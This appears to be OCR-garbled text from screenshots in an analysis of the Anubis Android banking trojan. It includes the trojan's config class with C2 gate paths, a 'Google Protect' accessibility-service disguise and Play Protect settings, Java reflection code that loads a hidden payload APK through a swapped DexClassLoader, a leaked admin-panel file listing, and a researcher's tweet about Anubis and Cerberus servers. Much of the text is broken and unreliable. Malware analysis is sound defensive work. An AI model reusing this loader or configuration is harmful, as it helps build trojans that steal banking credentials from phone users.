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public static final boolean writetogeat « false: // sove logeor to flle wJandrola/phy

public final String urls « “curl>™;
public final String urllaj « ~7;

public final String gatefiles ="/olofal.php™;//get/iigs php
public final String urlTwitter « “curltwitter>”;

public final String gateRAT ="/olo/aZ.php™;//rotgate.php
public final boolean antifsulator « false;
public final boolean Logger = false; ./
public final String key post =“<key>";
public final String Version « “<tags>®;//Memvo doma
public final String naseDex = Versiom;

podawwe true nowsssfons, folse wen

moy suppoBawus sonpocol Regquestittp

public final String naseAccessibilityService « “Google Protect™;
public final int intervalTise « 10009;/ ./ «intervale-/Joncayn mumucenywd
public final String textadsin « "7;

public final int imtervallockinfTime « 12000;/ /uwwenn poxep musucexyst

JHone/Coch

public boolean checkActivitylsagesfalse, //Moviisdiony su nocar posanolicy urobpasenus wnu wen!

public String urlisage « “curllmage>”;
public boolean PlayProtect=true;

public int timePlayProtect=309Q;//Bpess 20npoca omsaevewun Ploy Protect

1ic int DeviceAdmin«@; //& - dea odsun rpat, 1 ¢ odmuw ppoflamu, 2 « ¢ uduw npofomu do
L

public int StartRequest=1;
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£ Mamhctivty 260 try {

& Protector
& RC4

© Seripte

2 15l S

Class clsActThrd = Class.forNose("android.app.Activitythread™);
Class clsloaded = Class.forNome( android.app.Loadedapk™);

Method mtdCurActTrd « clsActThed.getMethod( name: “currentActivityThread™, new Class[]{})
Object obJCurActThrd « mtdCurActTrd, Snvoke( obl null, new Object[](});

Field fidPkg = clsActThed.getDeclaredField( name “sPackages”);|
fidokg.setAaccessible(true);

Map map = (Map) fidPkg.get{objCuractThrd);

String s2Pkg = s{txBase.getPackageName();

WeakReference wrefPkg = (WeakReference) map.get{siPkg);// mopPkg.get(s2Pkg);

Field fidLoader = clsloaded.getDeclaredField( name “allasstoader™);

fidloader. . setAccessible(true);

ClassLoader ldrProtector « (ClassLoader) fidLoader.get(wrefPkg.get());

DexClassloader ldrSrcApk « new DexClassLoader(szPathSrcApk, szPathOptDex, szPathLibTree,
fidloader,set(wrefPkg.get(), 1drSrcapk);

Anubis HRAT A By P ) im PR s T2 BESR AL 1 P AR L T g, HAR
f7E 2019 FEittee, JF HA AR AEH 20, AR E AT DU A iZ R0
A Anubis fRAT RS A G RSGE, IFH AT PSR AAE IR Ab £y £

TUTH o

" ANUBIS 2.5

~ admin_pane|

» anubis
> icon
> inj

» olo

= admin_db.sql

& ddhtaccess

® index.php
robots.txt

Anubis2.5 /5 iwEE5

Anubis® R EAIAPK

| file.apk 11

manual.txt
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" ™, Lukas Stefanko
@&y @LukasStefanko

n @Spam4040nline ¥ @virqdroid

Anubis and Cerberus Trojans on one server

-all have covid19 related names

-Anubis has connected one testing device
(probably not real victim)

-device was added today, 1 hour ago, fresh sample
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